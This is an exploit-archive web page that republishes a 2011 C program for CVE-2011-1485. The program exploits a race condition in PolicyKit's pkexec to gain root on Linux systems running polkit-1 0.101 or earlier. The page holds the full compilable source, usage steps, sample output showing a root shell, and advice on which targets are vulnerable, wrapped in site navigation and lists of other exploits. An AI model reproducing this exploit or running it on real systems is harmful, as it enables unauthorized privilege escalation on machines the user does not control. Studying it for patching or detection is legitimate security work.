首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PolicyKit Pwnage: linux local privilege escalation on polkit-1 <= 0.101
来源:vfocus.net 作者:zx2c4 发布时间:2011-10-08  

/* polkit-pwnage.c
 *
 *
 * ==============================
 * =      PolicyKit Pwnage      =
 * =          by zx2c4          =
 * =        Sept 2, 2011        =
 * ==============================
 *
 *
 * Howdy folks,
 *
 * This exploits CVE-2011-1485, a race condition in PolicyKit.
 *
 * davidz25 explains:
 *
 * --begin--
 * Briefly, the problem is that the UID for the parent process of pkexec(1) is
 * read from /proc by stat(2)'ing /proc/PID. The problem with this is that
 * this returns the effective uid of the process which can easily be set to 0
 * by invoking a setuid-root binary such as /usr/bin/chsh in the parent
 * process of pkexec(1). Instead we are really interested in the real-user-id.
 * While there's a check in pkexec.c to avoid this problem (by comparing it to
 * what we expect the uid to be - namely that of the pkexec.c process itself which
 * is the uid of the parent process at pkexec-spawn-time), there is still a short
 * window where an attacker can fool pkexec/polkitd into thinking that the parent
 * process has uid 0 and is therefore authorized. It's pretty hard to hit this
 * window - I actually don't know if it can be made to work in practice.
 * --end--
 *
 * Well, here is, in fact, how it's made to work in practice. There is as he said an
 * attempted mitigation, and the way to trigger that mitigation path is something
 * like this:
 *
 *     $ sudo -u `whoami` pkexec sh
 *     User of caller (0) does not match our uid (1000)
 *
 * Not what we want. So the trick is to execl to a suid at just the precise moment
 * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,
 * and execl to the suid binary as our very next instruction.
 *
 * ** Usage **
 * $ pkexec --version
 * pkexec version 0.101
 * $ gcc polkit-pwnage.c -o pwnit
 * $ ./pwnit
 * [+] Configuring inotify for proper pid.
 * [+] Launching pkexec.
 * sh-4.2# whoami
 * root
 * sh-4.2# id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * sh-4.2#
 *
 * ** Targets **
 * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which
 * as of writing uses 0.101, has backported 0.102's bug fix. A way to check
 * this is by looking at the mtime of /usr/bin/pkexec -- April 22, 2011 or
 * later and you're out of luck. It's likely other distributions do the same.
 * Fortunately, this exploit is clean enough that you can try it out without
 * too much collateral.
 *
 *
 * greets to djrbliss and davidz25.
 *
 * - zx2c4
 * 2-sept-2011
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>

int main(int argc, char **argv)
{
 printf("=============================\n");
 printf("=      PolicyKit Pwnage     =\n");
 printf("=          by zx2c4         =\n");
 printf("=        Sept 2, 2011       =\n");
 printf("=============================\n\n");

 if (fork()) {
  int fd;
  char pid_path[1024];
  sprintf(pid_path, "/proc/%i", getpid());
  printf("[+] Configuring inotify for proper pid.\n");
  close(0); close(1); close(2);
  fd = inotify_init();
  if (fd < 0)
   perror("[-] inotify_init");
  inotify_add_watch(fd, pid_path, IN_ACCESS);
  read(fd, NULL, 0);
  execl("/usr/bin/chsh", "chsh", NULL);
 } else {
  sleep(1);
  printf("[+] Launching pkexec.\n");
  execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
 }
 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ashampoo Burning Studio Elemen
·DivX Plus Web Player "file://"
·FreeBSD UIPC socket heap overf
·Opera 10/11 (bad nesting with
·eSignal / eSignal Pro 10.6.242
·BlazeVideo HDTV Player 6.6 Pro
·ScriptFTP 3.3 Remote Buffer Ov
·52 byte Linux MIPS execve
·Norman Security Suite 8 (npros
·kernel-2.6.30 2010 Local Root
·Mac OS X < 10.6.7 Kernel Panic
·Linux kernel 2.6.182 Local Roo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved